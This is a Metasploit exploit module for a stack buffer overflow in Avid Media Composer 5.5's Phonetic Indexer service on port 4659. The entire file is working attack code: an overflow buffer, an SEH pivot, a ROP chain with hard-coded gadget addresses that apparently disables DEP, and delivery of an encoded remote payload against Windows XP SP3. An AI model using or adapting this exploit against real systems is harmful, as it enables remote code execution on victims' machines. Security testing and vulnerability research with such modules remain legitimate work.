require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",
			'Description'    => %q{
					This module exploits a stack buffer overflow in process AvidPhoneticIndexer.exe (port 4659),
				which comes as part of the Avid Media Composer 5.5 Editing Suite. This daemon sometimes starts on a
				different port; if you start it standalone it will run on port 4660.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 13137 ___FCKpd___0quot;,
			'Author'         =>
				[
					'vt [nick.freeman@security-assessment.com]', 
				],
			'References'     =>
				[
					[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Remote_Stack_Buffer_Overflow.pdf' ],
				],
			'Payload'        =>
				{
					'Space'    => 1012,
					'BadChars' => "\x00\x09\x0a\x0d\x20",
					'DisableNops' => true,
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'EAX',
						}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Professional SP3', {} ],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Nov 29 2011",
			'DefaultTarget'  => 0))

			register_options(
				[
					Opt::RPORT(4659),
				], self.class)
	end

	def exploit

		junk = 'A' * 216 
		sehpivot = "\xeb\x35\x8b\x02" #0x028B35EB :  # ADD ESP,1800 # RETN 
		junk2 = 'A' * 732

		rop_gadgets = [
		
				# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!) - a non-sayonara ROP would be super easy too, I'm just lazy :)
				0x7C344CC1,  # pop eax;ret;
				0x7C3410C2, # pop ecx;pop ecx;ret;
				0x7C342462, # xor chain; call eax {0x7C3410C2}
				0x7C38C510, # writeable location for lpflOldProtect
				0x7C365645, # pop esi;ret;
				0x7C345243, # ret;
				0x7C348F46, # pop ebp;ret;
				0x7C3487EC, # call eax 
				0x7C344CC1, # pop eax;ret; 
				0xfffffbfc, # {size}
				0x7C34D749, # neg eax;ret; {adjust size}
				0x7C3458AA, # add ebx, eax;ret; {size into ebx}
				0x7C3439FA, # pop edx;ret; 
				0xFFFFFFC0, # {flag}
				0x7C351EB1, # neg edx;ret; {adjust flag}
				0x7C354648, # pop edi;ret;
				0x7C3530EA, # mov eax,[eax];ret;
				0x7C344CC1, # pop eax;ret;
				0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
				0x7C355AEB, # sub eax,30;ret;
				0x7C378C81, # pushad; add al,0xef; ret;
				0x7C36683F, # push esp;ret;
		].pack("V*")
		
		# need to control a buffer reg for the msf gen'd payload to fly. in this case:
		bufregfix = "\x8b\xc4" 		# MOV EAX,ESP
		bufregfix += "\x83\xc0\x10" 	# ADD EAX,10 
		
		connect
		sploit = junk + sehpivot + junk2 + rop_gadgets + bufregfix + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded 
		sock.put(sploit)
		handler
		disconnect
	end
end